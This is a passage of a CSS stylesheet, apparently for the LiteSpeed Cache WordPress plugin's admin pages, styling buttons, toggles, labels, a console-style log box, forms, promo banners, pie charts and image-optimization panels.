	border: 1px solid #cc3d6a;
	box-shadow: 0 1px 0 rgba(177, 93, 93, 0.5);
}

.litespeed .litespeed-btn-danger:hover,
.litespeed-wrap .litespeed-btn-danger:hover,
.litespeed-btn-danger:hover {
	border-color: #ab244e;
	background: #cc3d6a;
	color: #fff;
}

.litespeed .litespeed-btn-warning,
.litespeed-wrap .litespeed-btn-warning,
.litespeed-btn-warning {
	background: #fff;
	color: #e59544;
	border: 1px solid #e59544;
	box-shadow: 0 1px 0 rgba(249, 166, 82, 0.55);
}

.litespeed .litespeed-btn-warning:hover,
.litespeed-wrap .litespeed-btn-warning:hover,
.litespeed-btn-warning:hover {
	border-color: #e59544;
	background: #e59544;
	color: #fff;
}

.litespeed .litespeed-btn-success,
.litespeed-wrap .litespeed-btn-success,
.litespeed-btn-success {
	background: #fff;
	color: #36b0b0;
	border: 1px solid #36b0b0;
	box-shadow: 0 1px 0 rgba(73, 160, 160, 0.55);
}

.litespeed .litespeed-btn-success:hover,
.litespeed-wrap .litespeed-btn-success:hover,
.litespeed-btn-success:hover {
	border-color: #36b0b0;
	background: #36b0b0;
	color: #fff;
}

.litespeed-wrap .button-primary {
	background: #528ac6;
	border-color: #538ac6 #2264ad #2264ad;
	color: #fff;
	box-shadow: 0 1px 0 #2264ad;
	text-shadow:
		0 -1px 1px #2264ad,
		1px 0 1px #2264ad,
		0 1px 1px #2264ad,
		-1px 0 1px #2264ad;
}

.litespeed-wrap .button-primary:focus,
.litespeed-wrap .button-primary:hover {
	background: #5891ce;
	border-color: #2264ad;
	color: #fff;
}

.litespeed-wrap .button-primary:hover {
	box-shadow: 0 1px 0 #2264ad;
}

.litespeed-wrap .button-primary:focus {
	background: #5891ce;
	border-color: #2264ad;
	color: #fff;
	box-shadow:
		0 1px 0 #0073aa,
		0 0 2px 1px #33b3db;
}

.litespeed .litespeed-btn-primary,
.litespeed-wrap .litespeed-btn-primary,
.litespeed-btn-primary {
	color: #538ac6;
	border: 1px solid #538ac6;
	-moz-box-shadow: 0 0 0 1px rgba(83, 138, 198, 0.25);
	-webkit-box-shadow: 0 0 0 1px rgba(83, 138, 198, 0.25);
	box-shadow: 0 0 0 1px rgba(83, 138, 198, 0.25);
}

.litespeed .litespeed-btn-primary:hover,
.litespeed-wrap .litespeed-btn-primary:hover,
.litespeed-btn-primary:hover {
	background: #538ac6;
	border-color: #538ac6;
	color: #fff;
}

.litespeed-wrap .button:not(.litespeed-btn-large) .dashicons {
	position: relative;
	top: -0.075em;
	vertical-align: middle;
}

.litespeed-wrap .button:not(:first-child) {
	margin-left: 5px;
}

.litespeed-wrap .button + .button {
	margin-left: 10px;
}

.litespeed-info-button {
	color: #c8c8c8;
	padding: 0;
	-webkit-appearance: none;
	border: none;
	background: none;
	vertical-align: middle;
	line-height: inherit;
	text-decoration: none;
}

.litespeed-info-button .dashicons {
	font-size: 16px;
	vertical-align: middle;
}

.litespeed-btn-pie {
	-webkit-appearance: none;
	background: none;
	border: none;
	border-radius: 0;
	box-shadow: none;
	padding: 0;
	margin: 0;
	top: -0.125em;
}

/* =======================================
   BUTTONS - sizes
======================================= */

.litespeed-wrap .litespeed-btn-tiny {
	padding: 2px 8px;
	line-height: 1.5;
	height: auto;
}

.litespeed-wrap .litespeed-btn-mini {
	padding: 0 8px 1px;
	font-size: 12px;
	font-weight: 600;
	margin: 5px 0;
}

.litespeed-wrap .litespeed-btn-mini .dashicons.dashicons-image-rotate {
	padding-top: 3px;
	font-size: 18px;
}

.litespeed-wrap .litespeed-btn-mini .dashicons {
	padding-top: 2px;
}

.litespeed-wrap .litespeed-btn-large {
	font-size: 1.5em;
	padding: 0.75em 1.5em;
	margin: 0 0.25em;
	height: auto;
}

.litespeed-wrap .litespeed-btn-large .dashicons {
	font-size: 1.25em;
	width: auto;
}

/* =======================================
	  SWITCH
======================================= */

.litespeed-switch {
	font-size: 14px;
	font-weight: 600;
	margin: 0 0 0;
	display: inline-flex;
	position: relative;
}

.rtl .litespeed-switch {
	flex-direction: row-reverse;
}

.litespeed-switch input:checked:active + label {
	box-shadow:
		0 2px 0 rgba(27, 146, 146, 0.7),
		inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.litespeed-switch input:checked + label {
	background-color: #36b0b0;
	color: #fff;
	border: 1px solid #36b0b0;
	box-shadow: 0 2px 0 #1b9292;
	z-index: 2;
	text-shadow:
		0 -1px 1px #1b9292,
		1px 0 1px #1b9292,
		0 1px 1px #1b9292,
		-1px 0 1px #1b9292;
}

.litespeed-switch label {
	font-size: 14px;
	display: inline-block;
	min-width: 72px;
	background-color: #f9fafc;
	font-weight: 400;
	text-align: center;
	padding: 6px 12px 5px 12px;
	cursor: pointer;
	border: 1px solid #ccc;
	border-bottom: none;
	box-shadow: 0 2px 0 #ccc;
	position: relative;
}

.litespeed-switch label:not(:last-child) {
	margin-right: -1px;
}

.litespeed-switch label:last-child {
	border-top-right-radius: 3px;
	border-bottom-right-radius: 3px;
}

.litespeed-switch label:first-of-type {
	border-top-left-radius: 3px;
	border-bottom-left-radius: 3px;
}

.litespeed-switch input:hover + label {
	border-color: #1a9292;
	box-shadow: 0 2px 0 #1a9292;
	z-index: 2;
	color: #117171;
}

.litespeed-switch input:focus + label {
	color: #117171;
	box-shadow: 0 0px 0px 2px rgba(28, 138, 128, 0.85);
	border-color: transparent;
	z-index: 2;
}

.litespeed-switch input:focus + label + input + input:hover + label,
.litespeed-switch input:focus + label + input:hover + label {
	z-index: 1;
}

.litespeed-switch input:active + label {
	box-shadow:
		0 2px 0 #1b9292,
		inset 0 2px 5px -3px rgba(0, 0, 0, 0.5);
}

.litespeed-switch input:checked:hover + label,
.litespeed-switch input:checked:focus + label {
	background-color: #36b0b0;
	color: #fff;
}

.litespeed-switch input {
	display: inline-block;
	position: absolute;
	z-index: -1;
	margin: 0;
}

.litespeed-cache-purgeby-text {
	margin: 0;
	display: inline-block;
}

/* =======================================
				TOGGLE
======================================= */

.litespeed-toggle-stack {
	display: flex;
	flex-direction: column;
}

.litespeed-toggle-stack .litespeed-toggle-wrapper {
	justify-content: space-between;
}

.litespeed-toggle-wrapper {
	display: flex;
	align-items: center;
}

.litespeed-toggle-wrapper + .litespeed-toggle-wrapper {
	margin-top: 0.75rem;
}

.litespeed-toggle {
	position: relative;
	overflow: hidden;
	min-width: 58px;
	height: 21px;
	/*margin-left: 1.2rem;*/
}

.litespeed-toggle-group {
	position: absolute;
	width: 200%;
	top: 0;
	bottom: 0;
	left: 0;
	transition: left 0.35s;
	-webkit-transition: left 0.35s;
	-moz-user-select: none;
	-webkit-user-select: none;
}

.litespeed-toggle-on {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 0;
	right: 50%;
	margin: 0;
	border: 0;
	border-radius: 0;
}

.litespeed-toggle-on.litespeed-toggle-btn {
	padding-right: 24px;
}

.litespeed-toggle-off.litespeed-toggle-btn {
	padding-left: 24px;
}

.litespeed-toggle-handle {
	position: relative;
	margin: 0 auto;
	padding-top: 0px;
	padding-bottom: 0px;
	height: 100%;
	width: 0px;
	border-width: 0 1px;
}

.litespeed-toggle-off {
	position: absolute;
	top: 0;
	bottom: 0;
	left: 50%;
	right: 0;
	margin: 0;
	border: 0;
	border-radius: 0;
}

.litespeed-toggleoff .litespeed-toggle-group {
	left: -100%;
}

.litespeed-toggle-btn {
	display: inline-block;
	padding: 5px 10px;
	margin-bottom: 0;
	font-size: 14px;
	font-weight: 400;
	line-height: 1.42857143;
	text-align: center;
	white-space: nowrap;
	vertical-align: middle;
	cursor: pointer;
	-webkit-user-select: none;
	-moz-user-select: none;
	-ms-user-select: none;
	user-select: none;
	background-image: none;
	border: 1px solid transparent;
	border-radius: 4px;
}

.litespeed-toggle-btn-primary {
	color: #fff;
	background-color: #36b0b0;
	border-color: #36b0b0;
}

.litespeed-toggle-btn-default {
	color: #333;
	background-color: #fff;
	border-color: #ccc;
}

.litespeed-toggle-btn-success:hover,
.litespeed-toggle-btn-success:focus,
.litespeed-toggle-btn-success:active,
.litespeed-toggle-btn-success.litespeed-toggle-active {
	color: #fff;
	background-color: #00bfbf;
	border-color: #6699cc;
}

.litespeed-toggle-btn-default:hover,
.litespeed-toggle-btn-default:focus,
.litespeed-toggle-btn-default:active,
.litespeed-toggle-btn-default.litespeed-toggle-active {
	color: #333;
	background-color: #e6e6e6;
	border-color: #adadad;
}

.litespeed-toggle-btn:active,
.litespeed-toggle-btn.litespeed-toggle-active {
	background-image: none;
	outline: 0;
	-webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
	box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);
}

.litespeed-toggle-btn-default:active,
.litespeed-toggle-btn-default.litespeed-toggle-active {
	background-image: none;
}

/* =======================================
	LABEL/TAG
======================================= */
[class*='litespeed-label-'] {
	display: inline;
	padding: 0.2em 0.6em 0.3em;
	font-size: 75%;
	font-weight: bold;
	line-height: 1;
	color: #fff;
	text-align: center;
	white-space: nowrap;
	vertical-align: baseline;
	border-radius: 0.25em;
}

[class*='litespeed-label-']:hover,
[class*='litespeed-label-']:focus {
	color: #fff;
	text-decoration: none;
	cursor: pointer;
}

[class*='litespeed-label-']:empty {
	display: none;
}

.litespeed-label-regular {
	font-size: 1em;
}

.litespeed-label-default {
	background-color: #777;
}

.litespeed-label-default[href]:hover,
.litespeed-label-default[href]:focus {
	background-color: #5e5e5e;
}

.litespeed-label-primary {
	background-color: #337ab7;
}

.litespeed-label-primary[href]:hover,
.litespeed-label-primary[href]:focus {
	background-color: #286090;
}

.litespeed-label-success {
	background-color: #5cb85c;
}

.litespeed-label-success[href]:hover,
.litespeed-label-success[href]:focus {
	background-color: #449d44;
}

.litespeed-label-info {
	background-color: #5bc0de;
}

.litespeed-label-info[href]:hover,
.litespeed-label-info[href]:focus {
	background-color: #31b0d5;
}

.litespeed-label-warning {
	background-color: #f0ad4e;
}

.litespeed-label-warning[href]:hover,
.litespeed-label-warning[href]:focus {
	background-color: #ec971f;
}

.litespeed-label-danger {
	background-color: #d9534f;
}

.litespeed-label-danger[href]:hover,
.litespeed-label-danger[href]:focus {
	background-color: #c9302c;
}

/* =======================================
	   SHELL
======================================= */
.litespeed-shell {
	width: 98%;
	background: #141414;
	margin: 20px auto 0 10px;
	box-shadow: 0 0 5px rgba(0, 0, 0, 0.4);
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-radius: 3px;
	position: relative;
	height: 224px;
}

.litespeed-shell-header {
	z-index: 999;
	position: absolute;
	top: 0;
	right: 0;
	width: 50px;
	height: 34px;
	padding: 5px 0;
}

.litespeed-shell-header-bg {
	opacity: 0.4;
	background-color: #cccccc;
	position: absolute;
	top: 0;
	bottom: 0;
	right: 0;
	left: 0;
	z-index: 4;
	-webkit-border-radius: 3px;
	-moz-border-radius: 3px;
	border-top-radius: 3px;
}

.litespeed-shell-header-bar {
	position: absolute;
	top: 0;
	left: 0;
	z-index: 10;
	height: 2px;
	background-color: #f48024;
}

.litespeed-shell-header-icon-container {
	position: absolute;
	top: 10px;
	right: 10px;
	width: 29px;
	height: 34px;
	z-index: 6;
}

ul.litespeed-shell-body {
	position: absolute;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	overflow-y: scroll;
	margin: 0;
	padding: 5px;
	list-style: none;
	background: #141414;
	color: #45d40c;
	font:
		0.8em 'Andale Mono',
		Consolas,
		'Courier New';
	line-height: 1.6em;

	-webkit-border-bottom-right-radius: 3px;
	-webkit-border-bottom-left-radius: 3px;
	-moz-border-radius-bottomright: 3px;
	-moz-border-radius-bottomleft: 3px;
	border-bottom-right-radius: 3px;
	border-bottom-left-radius: 3px;
}

.litespeed-shell-body li:before {
	content: '>';
	position: absolute;
	left: 0;
	top: 0;
}

.litespeed-shell-body li {
	word-wrap: break-word;
	position: relative;
	padding: 0 0 0 15px;
	margin: 0;
}

.litespeed-widget-setting {
	background-color: #ecebdc;
	padding: 5px 14px;
	margin: 5px -15px;
}

/* =======================================
			CALLOUT / NOTICE
======================================= */

.litespeed-callout {
	margin: 1.5rem 0;

	border-right: 1px solid #e5e5e5;
	border-top: 1px solid #e5e5e5;
	border-bottom: 1px solid #e5e5e5;
	background: #f9f9f9;
}

.litespeed-callout h4:not(:last-child) {
	margin-bottom: 0.5rem;
	margin-top: 1em;
}

.litespeed-callout p {
	margin-left: 0;
}

.litespeed-callout ol,
.litespeed-callout ul {
	margin-left: 1em;
}

.litespeed-callout.notice-warning h4 {
	color: #e59544;
}

.litespeed-callout.notice-error h4 {
	color: #dc3232;
}

.litespeed-callout-bg {
	margin: 1.5rem 0;
	background: #f9f9f9;
	border-top: none;
	border-bottom: none;
	border-right: none;
}

/* =======================================
			TICK / CHECKBOX
======================================= */

.litespeed-tick-wrapper {
	margin-left: -5px;
}

.litespeed-tick {
	display: inline-block;
	/* min-width: 125px; */
	background: #f2f9ff;
	padding: 5px 0 5px 0px;
	border-radius: 3px;
	cursor: pointer;
	margin: 5px 5px 5px 0;
}

.litespeed-tick-list .litespeed-tick {
	display: block;
	margin-bottom: 3px;
	margin-top: 0;
	background: none;
}

.litespeed-tick-list .litespeed-tick input[type='checkbox'] {
	margin-left: 0;
}

.litespeed-tick-list .litespeed-tick label {
	color: inherit;
}

.litespeed-tick input[type='checkbox'] {
	height: 18px;
	width: 18px;
	vertical-align: middle;
	margin: 0 10px;
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none;
	-webkit-border-radius: 3px;
	border-radius: 3px;

	cursor: pointer;
}

.litespeed-tick input[type='checkbox']:not(:disabled):hover {
	border-color: #538ac6;
}

.litespeed-tick input[type='checkbox']:active:not(:disabled) {
	border-color: #538ac6;
}

.litespeed-tick input[type='checkbox']:focus {
	outline: none;
}

.litespeed-tick input[type='checkbox']:checked {
	border-color: #538ac6;
	background-color: #538ac6;
	-moz-box-shadow: none;
	-webkit-box-shadow: none;
	box-shadow: none;
}

.litespeed-tick input[type='checkbox']:checked:before {
	content: '';
	display: block;
	width: 5px;
	height: 11px;
	border: solid #fff;
	border-width: 0 2px 2px 0;
	-webkit-transform: rotate(45deg);
	transform: rotate(45deg);
	margin-left: 5px;
	margin-top: -1px;
	cursor: pointer;
}

.litespeed-tick label {
	padding: 2px 0px 2px 0;
	font-size: 14px;
	color: #264d73;
}

.litespeed-tick label:hover {
	min-width: 115px;
	color: #6699cc;
}

/* =======================================
			RADIO - vertical
======================================= */

.litespeed-radio-row {
	margin-bottom: 12px;
	position: relative;
	padding-left: 1.5rem;
}

.litespeed-radio-row input[type='radio'] {
	margin-top: 0;
	margin-bottom: 0;
	position: absolute;
	line-height: 1;
	left: 0;
	top: 0.7em;
	transform: translateY(-50%);
}

.litespeed-radio-row label {
	vertical-align: text-bottom;
	line-height: 1.4;
}

@media screen and (max-width: 782px) {
	.litespeed-radio-row {
		padding-left: 2rem;
	}
}

/* =======================================
		   FORM - layout
======================================= */

.litespeed-wrap .litespeed-float-submit {
	position: absolute;
	right: 0;
	top: -5px;
	margin-top: 0;
}

.rtl .litespeed-wrap .litespeed-float-submit {
	left: 10px;
	right: unset;
}

.litespeed-wrap .litespeed-float-resetbtn {
	position: absolute;
	right: 0;
	bottom: 20px;
}

.rtl .litespeed-wrap .litespeed-float-resetbtn {
	left: 10px;
	right: unset;
}

/* =======================================
		  FORM - utilities
======================================= */

.litespeed .litespeed-input-large {
	font-size: 20px;
}

.litespeed-input-long {
	width: 87%;
}

.litespeed-input-short2 {
	width: 150px;
}

.litespeed-input-short {
	width: 45px;
}

@media screen and (max-width: 680px) {
	.litespeed-input-short2 {
		width: 160px;
	}

	.litespeed-input-short {
		width: 50px;
	}
}

/* =======================================
		   FORM - elements
======================================= */

.litespeed-form-label {
	font-size: 1em;
	margin: 0.65rem 0;
	display: block;
	font-weight: 600;
}

.litespeed-form-label--toggle {
	margin: 0;
	display: inline-block;
	min-width: 110px;
}

input.litespeed-input[type='file'] {
	padding: 9px;
	min-width: 500px;
	border: 1px solid #ddd;
	box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.07);
	background-color: #fff;
	color: #32373c;
	outline: 0;
	transition: 50ms border-color ease-in-out;
}

.litespeed-body .litespeed-textarea-success {
	border-color: #6699cc;
}

input.litespeed-input-success {
	border-color: #28a745;
}

input.litespeed-input-warning {
	border-color: #e59544;
}

.litespeed-textarea {
	width: 60%;
}

.litespeed-textarea-recommended {
	display: flex;
	margin-top: -5px;
}

.litespeed-textarea-recommended .litespeed-desc {
	margin: 0;
}

.litespeed-textarea-recommended > div:first-child {
	margin-top: 1.7em;
	font-size: 12px;
	margin-right: 25px;
}

.litespeed-wrap .litespeed-collection-button {
	text-decoration: none;
	min-width: 30px;
	text-align: center;
}

.litespeed-collection-button[data-action='add'] {
	margin-top: -5px;
	margin-left: -5px;
}

.litespeed-collection-button .dashicons {
	vertical-align: baseline;
}

.litespeed-wrap .button:not(.litespeed-btn-large).litespeed-form-action .dashicons {
	font-size: 1.2em;
	vertical-align: middle;
	top: 0;
}

@media screen and (max-width: 680px) {
	.litespeed-body tbody > tr > th {
		display: block;
		padding: 18px 0 5px 12px;
	}

	.litespeed-body .litespeed-table td {
		display: block;
		max-width: 100%;
	}

	.litespeed-body .litespeed-table textarea,
	.litespeed-body .litespeed-table input.litespeed-regular-text {
		width: 100% !important;
	}

	.litespeed-wrap .litespeed-float-submit {
		display: none;
	}

	.litespeed-body {
		padding: 1px 10px 20px 15px;
	}

	.litespeed-body .regular-text:not(.litespeed-input-short) {
		width: 100%;
	}

	.litespeed-textarea-recommended {
		flex-direction: column;
	}

	.litespeed-textarea-recommended > div:first-child {
		margin-bottom: 1.7em;
		margin-top: 0;
		margin-right: 0;
	}

	.litespeed-switch {
		max-width: 100%;
		flex-wrap: wrap;
	}

	.litespeed-switch + .litespeed-warning {
		display: block;
		margin-top: 10px;
	}

	input.litespeed-input[type='file'] {
		max-width: calc(100% - 24px);
		min-width: 0;
	}

	.litespeed-body .litespeed-table .litespeed-row-flex {
		flex-direction: column;
	}
}

/* =======================================
		   ENTERPRISE NOTICE
======================================= */

.litespeed-ent-notice {
	position: absolute;
	left: 0;
	top: 0;
	right: 0;
	bottom: 0;
	background-color: #333;
	z-index: 999;
	opacity: 0.8;
	text-align: center;
	font-size: 3rem;
	color: #1865c5;
}

.litespeed-ent-notice-desc {
	position: relative;
	top: 30%;
	transform: rotate(-20deg);
	text-shadow: 2px 2px 4px #000000;
}

/* =======================================
			  PROMO BANNER
======================================= */

.litespeed-banner-promo,
.litespeed-banner-promo-full {
	display: flex;
	padding: 0px;
}

.litespeed-banner-promo-full {
	margin: 0px;
	padding: 0px;
}

.litespeed-banner-promo-logo {
	background-image: url(../img/lscwp-logo_90x90.png);
	background-size: contain;
	width: 90px;
	background-repeat: no-repeat;
	display: inline-block;
}

.litespeed-banner-promo-full .litespeed-banner-promo-logo {
	margin: 0px;
	width: 90px;
	height: 90px;
}

.litespeed-banner-promo-content {
	margin-left: 25px;
}

.litespeed-banner-promo-full .litespeed-banner-promo-content {
	width: 75%;
}

.litespeed-banner-promo-content h1 {
	font-weight: 600;
	color: #538ac6;
	margin-top: 10px;
}

.litespeed-banner-title {
	font-size: 1.3em;
	margin: 8px 0px 5px 0px;
}

.litespeed-banner-promo-slacklogo {
	background-image: url('../img/slack-logo.png');
	background-size: contain;
	width: 75px;
	height: 75px;
	background-repeat: no-repeat;
	display: inline-block;
	padding: 0px;
	flex: 0 0 5%;
}

.litespeed-banner-promo .litespeed-banner-promo-slack-line1 {
	font-size: 18px;
	margin-top: 0px;
	line-height: 21px;
}

.litespeed-banner-promo .litespeed-banner-promo-slack-textlink {
	color: #e59544;
	text-decoration: none;
}

.litespeed-banner-promo .litespeed-banner-promo-slack-textlink:hover {
	opacity: 0.8;
}

.litespeed-banner-promo-slack-line2 {
	font-size: 15px;
	margin: 0px;
	line-height: 0.75em;
}

.litespeed-banner-promo-slack-link {
	color: #888888;
}

a.litespeed-btn-xs.litespeed-banner-promo-slack-btn {
	margin: 0px 5px;
}

/* =======================================
			  PROMO BANNER - QC
======================================= */

.litespeed-banner-promo-qc {
	display: flex;
}

.litespeed-banner-promo-qc h2 {
	line-height: 1.4;
}

.litespeed-banner-promo-qc-content {
	display: flex;
	align-items: center;
}

.litespeed-banner-promo-qc-description {
	flex-basis: 50%;
	padding-right: 2rem;
}

.litespeed-banner-promo-qc-description p {
	font-size: 14px;
}

.litespeed-banner-promo-qc-description .button {
	margin-right: 1.5rem;
}

.litespeed-tweet-preview {
	border-radius: 5px;
	line-height: 1.3125;
	box-shadow: 1px 1px 0.5em rgba(0, 0, 0, 0.3);
	margin: 0.5em 1em 1em 0;
	padding: 1em;
	max-width: 480px;
	display: flex;
}

.litespeed-tweet-preview:after {
	content: '';
	display: block;
	clear: both;
}

.litespeed-tweet-preview p:first-child {
	margin-top: 0;
}

.litespeed-tweet-preview-title {
	color: #777;
	margin-top: 0.9em;
	font-weight: normal;
	font-size: 12px;
	margin-bottom: 0;
	margin-top: 0.9em;
}

.litespeed-tweet-text {
	font:
		14px system-ui,
		-apple-system,
		BlinkMacSystemFont,
		'Segoe UI',
		Roboto,
		Ubuntu,
		'Helvetica Neue',
		sans-serif;
	line-height: 1.3125;
}

.litespeed-tweet-cta {
	text-align: right;
	margin-top: 1em;
}

.litespeed-tweet-cta a {
	background-color: #1da1f2;
	line-height: 1.3125;
	color: #fff;
	font-weight: bold;
	display: inline-flex;
	padding: 0.55em 1em;
	font-size: 14px;
	border-radius: 99em;
	text-decoration: none;
}

.litespeed-tweet-cta a:hover {
	background-color: #1e98e1;
}

.litespeed-tweet-cta a svg {
	width: 16px;
	height: 18px;
	margin-right: 0.5em;
}

.litespeed-tweet-cta a svg path {
	fill: currentColor;
}

.litespeed-tweet-img {
	width: calc(240px + 1rem);
	padding-right: 1rem;
	box-sizing: border-box;
}

.litespeed-tweet-img img {
	max-width: 100%;
	vertical-align: middle;
}

.litespeed-tweet-img + p {
	margin-top: 0;
}

/* =======================================
		admin -> media lib icon
======================================= */

.litespeed-media-href {
	display: inline-table;
}

[class*='litespeed-icon-media-'] {
	background-size: contain;
	width: 25px;
	height: 25px;
	vertical-align: middle;
	margin: 0;
	background-repeat: no-repeat;
	display: inline-block;
}

[class*='litespeed-icon-media-']:hover {
	opacity: 0.7;
}

.litespeed-icon-media-webp {
	background-image: url('../img/icons/img_webp.svg');
}

.litespeed-icon-media-webp-disabled {
	background-image: url('../img/icons/img_webp_disabled.svg');
}

.litespeed-icon-media-optm {
	background-image: url('../img/icons/img_optm.svg');
}

.litespeed-icon-media-optm-disabled {
	background-image: url('../img/icons/img_optm_disabled.svg');
}

p.litespeed-media-p {
	margin-bottom: 1px !important;
}

p.litespeed-txt-webp {
	color: #83b04a;
}

p.litespeed-txt-ori {
	color: #5967b3;
}

p.litespeed-txt-disabled {
	color: #ced2d9;
}

.litespeed-media-svg {
	vertical-align: middle;
	margin: 5px;
	width: 25px;
	height: auto;
}

@keyframes litespeed-circle-chart-fill {
	to {
		stroke-dasharray: 0 100;
	}
}

/* =======================================
			 PIE chart
======================================= */

.litespeed-pie {
	vertical-align: middle;
	margin: 5px 5px 5px 0;
}

circle.litespeed-pie_bg {
	stroke: #efefef;
	stroke-width: 2;
	fill: none;
}

circle.litespeed-pie_circle {
	animation: litespeed-circle-chart-fill 2s reverse;
	transform: rotate(-90deg);
	transform-origin: center;

	animation: litespeed-pie-fill 2s reverse;
	/* 1 */
	stroke: #28a745;
	stroke-width: 2;
	stroke-linecap: round;
	fill: none;
}

.litespeed-pie.litespeed-pie-tiny {
	margin: 0 2px 0 0;
}

.litespeed-pie.litespeed-pie-tiny text {
	font-weight: bold;
	fill: #828282;
}

.litespeed-pie.litespeed-pie-tiny circle {
	stroke-linecap: initial;
}

.litespeed-pie-tiny circle.litespeed-pie_bg,
.litespeed-pie-tiny circle.litespeed-pie_circle {
	stroke-width: 3;
}

.litespeed-pie-tiny circle.litespeed-pie_bg {
	stroke: #eee;
}

.litespeed-pie-success circle.litespeed-pie_circle {
	stroke: #28a745;
}

.litespeed-pie-warning circle.litespeed-pie_circle {
	stroke: #e67700;
}

.litespeed-pie-danger circle.litespeed-pie_circle {
	stroke: #c7221f;
}

g.litespeed-pie_info text {
	dominant-baseline: central;
	text-anchor: middle;
	font-size: 11px;
}

.litespeed-promo-score g.litespeed-pie_info text {
	font-size: 14px;
	font-weight: 600;
}

.litespeed-pie-success g.litespeed-pie_info text {
	fill: #28a745;
}

.litespeed-pie-warning g.litespeed-pie_info text {
	fill: #e67700;
}

.litespeed-pie-danger g.litespeed-pie_info text {
	fill: #c7221f;
}

g.litespeed-pie_info .litespeed-pie-done {
	fill: #28a745;
	font-size: 15px;
}

/* =======================================
		VIEW - multiple cdn mapping
======================================= */

[data-litespeed-cdn-mapping]:first-child [data-litespeed-cdn-mapping-del] {
	display: none;
}

.litespeed-cdn-mapping-col1 {
	padding-right: 2rem;
	max-width: 35%;
}

.litespeed-cdn-mapping-col1 .litespeed-input-long {
	width: 100%;
}

.litespeed-cdn-mapping-col2 {
	padding-top: 0.25rem;
}

.litespeed-cdn-mapping-col1 label {
	position: relative;
}

[data-litespeed-cdn-mapping-del] {
	position: absolute;
	right: -6px;
	top: -6px;
}

@media screen and (max-width: 600px) {
	.litespeed-cdn-mapping-col1 {
		max-width: 100%;
	}
}

/* =======================================
		VIEW - crawler
======================================= */

.litespeed-crawler-curr {
	vertical-align: middle;
	height: 20px;
	margin-left: 10px;
}

#cookie_crawler > p:first-child {
	margin-top: 5px;
}

.litespeed-crawler-sitemap-nav {
	display: flex;
	justify-content: space-between;
}

.litespeed-crawler-sitemap-nav > div {
	margin-top: 10px;
}

@media screen and (max-width: 680px) {
	.litespeed-crawler-sitemap-nav {
		display: block;
	}

	.litespeed-table-responsive {
		clear: both;
		overflow-x: auto;
		-webkit-overflow-scrolling: touch;
	}

	.litespeed-table-responsive table {
		width: 100%;
	}

	.litespeed-table-responsive th {
		text-wrap: nowrap;
	}

	.litespeed-table-responsive [data-crawler-list].wp-list-table td:nth-child(2) {
		min-width: 115px;
	}

	.litespeed-wrap input[name='kw'] {
		width: 100% !important;
	}
}

/* =======================================
			PROGRESS BAR
======================================= */

.litespeed-progress-bar {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	-webkit-box-orient: vertical;
	-webkit-box-direction: normal;
	-ms-flex-direction: column;
	flex-direction: column;
	-webkit-box-pack: center;
	-ms-flex-pack: center;
	justify-content: center;
	color: #fff;
	text-align: center;
	background-color: #007bff;
	transition: width 0.6s ease;
}

.litespeed-progress-bar-yellow {
	background-color: #fbe100;
}

.litespeed-progress {
	display: -webkit-box;
	display: -ms-flexbox;
	display: flex;
	height: 12px;
	overflow: hidden;
	font-size: 0.75rem;
	background-color: #e9ecef;
	border: 1px solid #dddddd;
	border-radius: 8px;
	width: 75%;
	margin: 5em 1em 1.5em 1em !important;
}

/* =======================================
		PROGRESS BAR - modal
======================================= */

.litespeed-modal {
	margin-top: -8px;
}

.litespeed-modal .litespeed-progress {
	margin-left: -8px;
	margin-right: -8px;
}

/* =======================================
		   		GUIDANCE
======================================= */

.litespeed-guide {
	border: 1px solid #73b38d;
	max-width: 50%;
	padding: 20px;
}

.litespeed-guide h2 {
	color: #73b38d;
	border-bottom: 1px solid #73b38d;
	display: table;
	padding-right: 50px;
	padding-left: 3px;
	padding-bottom: 3px;
}

.litespeed-guide li {
	font-size: 15px;
	line-height: 30px;
	margin: 10px 10px 10px 16px;
}

.litespeed-guide li.litespeed-guide-done:before {
	content: '\2713';
	font-size: 26px;
	color: #73b38d;
	margin-left: -37px;
	margin-right: 18px;
	opacity: 1;
}

.litespeed-guide li.litespeed-guide-done {
	opacity: 0.9;
}

/* =======================================
		VIEW - image optimization
======================================= */

.litespeed-image-optim-summary-wrapper {
	padding: 0;
}

.litespeed-cache_page_litespeed-img_optm .nav-tab-wrapper,
.litespeed-cache_page_litespeed-cdn .nav-tab-wrapper {
	border-bottom-color: #e5e5e5;
}

.litespeed-cache_page_litespeed-img_optm .litespeed-body,
.litespeed-cache_page_litespeed-cdn .litespeed-body {
	box-shadow: none;
}

.litespeed-cache_page_litespeed-img_optm .litespeed-wrap .nav-tab:not(.nav-tab-active),
.litespeed-cache_page_litespeed-cdn .litespeed-wrap .nav-tab:not(.nav-tab-active) {
	border-bottom-color: #e5e5e5;
}

.litespeed-cache_page_litespeed-img_optm .nav-tab-active,
.litespeed-cache_page_litespeed-cdn .nav-tab-active {
	border-left-color: #e5e5e5;
	border-right-color: #e5e5e5;
	border-top-color: #e5e5e5;
	position: relative;
	z-index: 2;
}

.litespeed-cache_page_litespeed-img_optm [data-litespeed-layout='summary'],
.litespeed-cache_page_litespeed-cdn [data-litespeed-layout='qc'] {
	margin: -2px -21px -21px -21px;
	background: #f0f0f1;
}

.litespeed-column-secondary {
	background: #f9fafc;
}

.litespeed-column-with-boxes .postbox {
	border-color: #e5e5e5;
}

.litespeed-column-with-boxes .litespeed-width-7-10 {
	padding: 0;
}

@media screen and (min-width: 815px) {
	.litespeed-column-with-boxes > div.litespeed-column-left {
		padding-right: 25px;
	}
}

.litespeed-column-with-boxes > div.litespeed-column-right {
	background: #f1f1f1;
	padding-top: 0;
	padding-right: 0;
	padding-left: 0;
}

.litespeed-column-with-boxes > div.litespeed-column-right .litespeed-postbox:last-child {
	margin-bottom: 0;
}

.litespeed-image-optim-summary,
.litespeed-column-left-inside {
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	position: relative;
	padding: 1px 20px 20px 20px;
	background: #fff;
	border: 1px solid #e5e5e5;
}

.litespeed-image-optim-summary-footer,
.litespeed-column-with-boxes-footer {
	border-top: 1px solid #efefef;
